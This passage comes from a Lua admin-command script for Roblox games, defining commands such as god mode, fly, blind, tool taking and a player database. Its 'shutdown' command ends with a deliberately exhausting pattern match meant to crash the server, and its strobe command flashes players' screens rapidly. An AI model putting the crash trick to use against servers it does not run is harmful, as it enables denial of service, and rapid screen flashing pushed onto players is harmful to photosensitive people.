6711 | local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end | |
6712 | SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover" | |
6713 | local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 | |
6714 | coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)() | |
6715 | end | |
6716 | end | |
6717 | end}; | |
6718 | ||
6719 | [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6720 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6721 | for _,Player in pairs(Players) do | |
6722 | if Player:FindFirstChild("PlayerGui") then | |
6723 | local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end | |
6724 | end | |
6725 | end | |
6726 | end}; | |
6727 | ||
6728 | [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6729 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6730 | for _,Player in pairs(Players) do | |
6731 | if Player:FindFirstChild("PlayerGui") then | |
6732 | local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end | |
6733 | SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover" | |
6734 | local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0) | |
6735 | end | |
6736 | end | |
6737 | end}; | |
6738 | ||
6739 | [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments) | |
6740 | local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId) | |
6741 | if Suc then | |
6742 | Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker) | |
6743 | else | |
6744 | Server.TS:Teleport(game.PlaceId, Speaker) | |
6745 | end | |
6746 | end}; | |
6747 | ||
6748 | [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments) | |
6749 | GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506) | |
6750 | end}; | |
6751 | ||
6752 | [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments) | |
6753 | local NewAbuse = Arguments[1] | |
6754 | if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present | |
6755 | NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1) | |
6756 | end | |
6757 | ||
6758 | local Match = false | |
6759 | for _,AbuseCmd in pairs(Settings.AbuseList) do | |
6760 | if string.lower(AbuseCmd) == string.lower(NewAbuse) then | |
6761 | Match = true | |
6762 | break | |
6763 | end | |
6764 | end | |
6765 | if not Match then | |
6766 | table.insert(Settings.AbuseList, NewAbuse) | |
6767 | GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check") | |
6768 | else | |
6769 | GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error") | |
6770 | end | |
6771 | CORE:SetAbuseCommands() | |
6772 | end}; | |
6773 | ||
6774 | [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments) | |
6775 | local NewAbuse = Arguments[1] | |
6776 | if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present | |
6777 | NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1) | |
6778 | end | |
6779 | ||
6780 | local Removed = false | |
6781 | for Num,AbuseCmd in pairs(Settings.AbuseList) do | |
6782 | if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then | |
6783 | Removed = true | |
6784 | table.remove(Settings.AbuseList, Num) | |
6785 | end | |
6786 | end | |
6787 | if Removed then | |
6788 | GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check") | |
6789 | else | |
6790 | GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error") | |
6791 | end | |
6792 | CORE:SetAbuseCommands() | |
6793 | end}; | |
6794 | ||
6795 | [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6796 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6797 | for _,Player in pairs(Players) do | |
6798 | if Player.Character and Player.Character:FindFirstChild("Humanoid") then | |
6799 | Player.Character.Humanoid.MaxHealth = math.huge | |
6800 | Player.Character.Humanoid.Health = math.huge | |
6801 | end | |
6802 | end | |
6803 | end}; | |
6804 | ||
6805 | [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6806 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6807 | for _,Player in pairs(Players) do | |
6808 | if Player.Character and Player.Character:FindFirstChild("Humanoid") then | |
6809 | if Player.Character.Humanoid.MaxHealth == math.huge then | |
6810 | Player.Character.Humanoid.MaxHealth = 100 | |
6811 | Player.Character.Humanoid.Health = 100 | |
6812 | else | |
6813 | Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth | |
6814 | end | |
6815 | end | |
6816 | end | |
6817 | end}; | |
6818 | ||
6819 | [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6820 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6821 | for _,Player in pairs(Players) do | |
6822 | if Player.Character and Player.Character:FindFirstChild("Humanoid") then | |
6823 | local Char = Player.Character | |
6824 | repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0 | |
6825 | end | |
6826 | end | |
6827 | end}; | |
6828 | ||
6829 | [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments) | |
6830 | if tonumber(Arguments[2]) then | |
6831 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6832 | for _,Player in pairs(Players) do | |
6833 | if Player.Character and Player.Character:FindFirstChild("Humanoid") then | |
6834 | Player.Character.Humanoid.Health = Arguments[2] | |
6835 | end | |
6836 | end | |
6837 | end | |
6838 | end}; | |
6839 | ||
6840 | [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments) | |
6841 | if tonumber(Arguments[2]) then | |
6842 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6843 | for _,Player in pairs(Players) do | |
6844 | if Player.Character and Player.Character:FindFirstChild("Humanoid") then | |
6845 | local Speed = tonumber(Arguments[2]) | |
6846 | if Speed then | |
6847 | if Rank == "Member" then | |
6848 | if Speed > 1000 then Speed = 1000 | |
6849 | elseif Speed < -1000 then Speed = -1000 end | |
6850 | end | |
6851 | Player.Character.Humanoid.WalkSpeed = Speed | |
6852 | end | |
6853 | end | |
6854 | end | |
6855 | end | |
6856 | end}; | |
6857 | ||
6858 | [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments) | |
6859 | if tonumber(Arguments[2]) then | |
6860 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6861 | for _,Player in pairs(Players) do | |
6862 | if Player.Character and Player.Character:FindFirstChild("Humanoid") then | |
6863 | Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2] | |
6864 | end | |
6865 | end | |
6866 | end | |
6867 | end}; | |
6868 | ||
6869 | [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6870 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6871 | for _,Player in pairs(Players) do | |
6872 | CORE:Fly(Player, 10000) | |
6873 | end | |
6874 | end}; | |
6875 | ||
6876 | [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6877 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6878 | for _,Player in pairs(Players) do | |
6879 | CORE:Fly(Player, 1000000) | |
6880 | end | |
6881 | end}; | |
6882 | ||
6883 | [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6884 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6885 | for _,Player in pairs(Players) do | |
6886 | if Player.Character then | |
6887 | if Player.Character:FindFirstChild("StopMMLFly") then | |
6888 | Player.Character.StopMMLFly:InvokeClient(Player) | |
6889 | end | |
6890 | end | |
6891 | end | |
6892 | end}; | |
6893 | ||
6894 | [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments) | |
6895 | ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{} | |
6896 | GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check") | |
6897 | end}; | |
6898 | ||
6899 | [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments) | |
6900 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6901 | for _,Player in pairs(Players) do | |
6902 | CORE:GiveTools(Player, Arguments[2]) | |
6903 | end | |
6904 | end}; | |
6905 | ||
6906 | [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments) | |
6907 | local List = {} | |
6908 | for _,Region in pairs(ToolRegions) do | |
6909 | CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item) | |
6910 | table.insert(List, Item.Name.." | Found at: "..Item:GetFullName()) | |
6911 | end) | |
6912 | end | |
6913 | ||
6914 | GUI:ListGui(Speaker, "Tool list", List, 73589272) | |
6915 | end}; | |
6916 | ||
6917 | [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6918 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6919 | for _,Player in pairs(Players) do | |
6920 | CORE:GiveTools(Player, "btools") | |
6921 | end | |
6922 | end}; | |
6923 | ||
6924 | [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments) | |
6925 | REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION") | |
6926 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
6927 | Player:Kick() | |
6928 | end | |
6929 | Server.Workspace:ClearAllChildren() | |
6930 | string.find(string.rep("a", 2^20),string.rep(".?", 2^20)) | |
6931 | end}; | |
6932 | ||
6933 | [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments) | |
6934 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6935 | for _,Player in pairs(Players) do | |
6936 | CORE:Scale(Player, Arguments[2]) | |
6937 | end | |
6938 | end}; | |
6939 | ||
6940 | [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6941 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6942 | for _,Player in pairs(Players) do | |
6943 | CORE:Scale(Player, 50) | |
6944 | end | |
6945 | end}; | |
6946 | ||
6947 | [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6948 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6949 | for _,Player in pairs(Players) do | |
6950 | CORE:Scale(Player, 70) | |
6951 | end | |
6952 | end, Hidden = true}; | |
6953 | ||
6954 | [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6955 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6956 | for _,Player in pairs(Players) do | |
6957 | CORE:Scale(Player, 500) | |
6958 | end | |
6959 | end}; | |
6960 | ||
6961 | [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6962 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6963 | for _,Player in pairs(Players) do | |
6964 | if Player.Character then | |
6965 | CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) | |
6966 | Obj.Reflectance = 0.5 | |
6967 | Obj.BrickColor = BrickColor.new("New Yeller") | |
6968 | end) | |
6969 | end | |
6970 | end | |
6971 | end}; | |
6972 | ||
6973 | [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6974 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6975 | for _,Player in pairs(Players) do | |
6976 | if Player.Character then | |
6977 | CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) | |
6978 | Obj.Reflectance = 0.5 | |
6979 | end) | |
6980 | end | |
6981 | end | |
6982 | end}; | |
6983 | ||
6984 | [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments) | |
6985 | local Players = STRING:Scan(Arguments[1], Speaker) | |
6986 | for _,Player in pairs(Players) do | |
6987 | if Player.Character then | |
6988 | CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) | |
6989 | Obj.Transparency = 0.5 | |
6990 | Obj.Reflectance = 0 | |
6991 | Obj.BrickColor = BrickColor.new("Institutional white") | |
6992 | end) | |
6993 | CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj) | |
6994 | Obj.Transparency = 0.5 | |
6995 | end) | |
6996 | end | |
6997 | end | |
6998 | end}; | |
6999 | ||
7000 | [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7001 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7002 | for _,Player in pairs(Players) do | |
7003 | if Player.Character then | |
7004 | for _,Obj in pairs(Player.Character:GetChildren()) do | |
7005 | local Valid = false | |
7006 | for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end | |
7007 | if Valid == true then Obj:Destroy() end | |
7008 | end | |
7009 | end | |
7010 | end | |
7011 | end}; | |
7012 | ||
7013 | [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7014 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7015 | for _,Player in pairs(Players) do | |
7016 | if Player.Character then | |
7017 | for _,Obj in pairs(Player.Character:GetChildren()) do | |
7018 | local Valid = false | |
7019 | for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end | |
7020 | if Valid == true then Obj:Destroy() end | |
7021 | end | |
7022 | end | |
7023 | end | |
7024 | end}; | |
7025 | ||
7026 | [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7027 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7028 | for _,Player in pairs(Players) do | |
7029 | if Player.Character then | |
7030 | for _,Obj in pairs(Player.Character:GetChildren()) do | |
7031 | local Valid = false | |
7032 | for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end | |
7033 | if Valid == true then Obj:Destroy() end | |
7034 | end | |
7035 | end | |
7036 | end | |
7037 | end}; | |
7038 | ||
7039 | [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7040 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7041 | for _,Player in pairs(Players) do | |
7042 | if Player.Character then | |
7043 | for _,Obj in pairs(Player.Character:GetChildren()) do | |
7044 | if Obj:IsA("Accoutrement") then | |
7045 | Obj:Destroy() | |
7046 | end | |
7047 | end | |
7048 | end | |
7049 | end | |
7050 | end}; | |
7051 | ||
7052 | [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7053 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7054 | for _,Player in pairs(Players) do | |
7055 | Player:ClearCharacterAppearance() | |
7056 | end | |
7057 | end}; | |
7058 | ||
7059 | [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments) | |
7060 | local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") | |
7061 | local TmpPlayers = {} | |
7062 | local Output = {} | |
7063 | for _,Data in pairs(Players) do | |
7064 | table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name}) | |
7065 | end | |
7066 | GUI:ListGui(Speaker, "Player Database", Output, 120563622) | |
7067 | end}; | |
7068 | ||
7069 | [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments) | |
7070 | Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {}) | |
7071 | GUI:SendHint(Speaker, "Player Database cleared", 5) | |
7072 | end}; | |
7073 | ||
7074 | [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments) | |
7075 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7076 | for _,Player in pairs(Players) do | |
7077 | GUI:FakeHack(Player) | |
7078 | end | |
7079 | end}; | |
7080 | ||
7081 | [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7082 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7083 | for _,Player in pairs(Players) do | |
7084 | if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then | |
7085 | for _,Object in pairs(Player.Backpack:GetChildren()) do | |
7086 | if Object:IsA("Tool") or Object:IsA("HopperBin") then | |
7087 | local Clone = Object:Clone() | |
7088 | Clone.Parent = Speaker.Backpack | |
7089 | end | |
7090 | end | |
7091 | end | |
7092 | end | |
7093 | end}; | |
7094 | ||
7095 | [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7096 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7097 | for _,Player in pairs(Players) do | |
7098 | if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then | |
7099 | for _,Object in pairs(Player.Backpack:GetChildren()) do | |
7100 | if Object:IsA("Tool") or Object:IsA("HopperBin") then | |
7101 | Object.Parent = Speaker.Backpack | |
7102 | end | |
7103 | end | |
7104 | end | |
7105 | end | |
7106 | end}; | |
7107 | ||
7108 | [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7109 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7110 | for _,Player in pairs(Players) do | |
7111 | if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then | |
7112 | for _,Object in pairs(Speaker.Backpack:GetChildren()) do | |
7113 | if Object:IsA("Tool") or Object:IsA("HopperBin") then | |
7114 | local Clone = Object:Clone() | |
7115 | Clone.Parent = Player.Backpack | |
7116 | end | |
7117 | end | |
7118 | end | |
7119 | end | |
7120 | end}; | |
7121 | ||
7122 | [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7123 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7124 | for _,Player in pairs(Players) do | |
7125 | if Player:FindFirstChild("Backpack") then | |
7126 | Player.Backpack:ClearAllChildren() | |
7127 | end | |
7128 | if Player.Character ~= nil then | |
7129 | for _,Obj in pairs(Player.Character:GetChildren()) do | |
7130 | if Obj:IsA("Tool") or Obj:IsA("HopperBin") then | |
7131 | Obj:Destroy() | |
7132 | end | |
7133 | end | |
7134 | end | |
7135 | end | |
7136 | end}; | |
7137 | ||
7138 | [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments) | |
7139 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7140 | for _,Player in pairs(Players) do | |
7141 | if Player.Character then | |
7142 | if Player.Character:FindFirstChild("Head") then | |
7143 | if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then | |
7144 | coroutine.wrap(function() | |
7145 | if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then | |
7146 | local OldFace = Player.Character.Head.face.Texture | |
7147 | Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0) | |
7148 | Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green") | |
7149 | Player.Character.Head.face.Texture = "rbxassetid://24067663" | |
7150 | local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9) | |
7151 | Sound:Play() | |
7152 | coroutine.wrap(function() for i = 1,100 do wait() | |
7153 | local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10) | |
7154 | coroutine.wrap(function() wait(3) Part:Destroy() end)() | |
7155 | end | |
7156 | Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)() | |
7157 | end end | |
7158 | end)() | |
7159 | end | |
7160 | end | |
7161 | end | |
7162 | end | |
7163 | end}; | |
7164 | ||
7165 | [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments) | |
7166 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7167 | for _,Player in pairs(Players) do | |
7168 | if Player.Character then | |
7169 | if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then | |
7170 | coroutine.wrap(function() | |
7171 | if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then | |
7172 | local OldFace = Player.Character.Head.face.Texture | |
7173 | local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1 | |
7174 | local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0) | |
7175 | local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255) | |
7176 | Player.Character.Head.face.Texture = "rbxassetid://28118994" | |
7177 | local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8) | |
7178 | Sound:Play() | |
7179 | wait(1) | |
7180 | Smoke.Enabled = false | |
7181 | wait(1) | |
7182 | Fart:Destroy() | |
7183 | Fart:Destroy() | |
7184 | Player.Character.Head.face.Texture = OldFace | |
7185 | end end | |
7186 | end)() | |
7187 | end | |
7188 | end | |
7189 | end | |
7190 | end}; | |
7191 | ||
7192 | [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments) | |
7193 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7194 | for _,Player in pairs(Players) do | |
7195 | if Player:FindFirstChild("Backpack") then | |
7196 | CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()}) | |
7197 | end | |
7198 | end | |
7199 | end}; | |
7200 | ||
7201 | [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments) | |
7202 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7203 | for _,Player in pairs(Players) do | |
7204 | if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then | |
7205 | Player.Character.MMLGraffiti:ClearAllChildren() | |
7206 | end | |
7207 | end | |
7208 | end}; | |
7209 | ||
7210 | [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7211 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7212 | for _,Player in pairs(Players) do | |
7213 | if Player.Character and Player.Character:FindFirstChild("Torso") then | |
7214 | local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end | |
7215 | Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2 | |
7216 | end | |
7217 | end | |
7218 | end}; | |
7219 | ||
7220 | [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7221 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7222 | for _,Player in pairs(Players) do | |
7223 | if Player.Character and Player.Character:FindFirstChild("Torso") then | |
7224 | local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end | |
7225 | Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5 | |
7226 | end | |
7227 | end | |
7228 | end}; | |
7229 | ||
7230 | [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7231 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7232 | for _,Player in pairs(Players) do | |
7233 | if Player.Character and Player.Character:FindFirstChild("Torso") then | |
7234 | local Lights = {} | |
7235 | for _,Obj in pairs(Player.Character.Torso:GetChildren()) do | |
7236 | if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then | |
7237 | table.insert(Lights, Obj) | |
7238 | end | |
7239 | end | |
7240 | for _,Light in pairs(Lights) do | |
7241 | coroutine.wrap(function() | |
7242 | for i = 1,20 do | |
7243 | Light.Brightness = Light.Brightness/5 | |
7244 | wait() | |
7245 | end | |
7246 | Light:Destroy() | |
7247 | end)() | |
7248 | end | |
7249 | end | |
7250 | end | |
7251 | end}; | |
7252 | ||
7253 | [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7254 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7255 | for _,Player in pairs(Players) do | |
7256 | if Player.Character and Player:FindFirstChild("PlayerGui") then | |
7257 | local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end | |
7258 | SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug" | |
7259 | local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5 | |
7260 | local Stop = false | |
7261 | coroutine.wrap(function() | |
7262 | repeat | |
7263 | Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) | |
7264 | wait(0.1) | |
7265 | until not SG or not SG.Parent | |
7266 | end)() | |
7267 | CORE:ExecuteResource("Drug", Player.Character) | |
7268 | end | |
7269 | end | |
7270 | end}; | |
7271 | ||
7272 | [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7273 | local Players = STRING:Scan(Arguments[1], Speaker) | |
7274 | for _,Player in pairs(Players) do | |
7275 | if Player:FindFirstChild("PlayerGui") then | |
7276 | local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end | |
7277 | wait() CORE:RestoreCamera(Player) | |
7278 | end | |
7279 | end | |
7280 | end}; | |
7281 | ||
7282 | [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments) | |
7283 | local AbuseMode = false | |
7284 | if Rank == "Member" then AbuseMode = Settings.DisableAbuse end | |
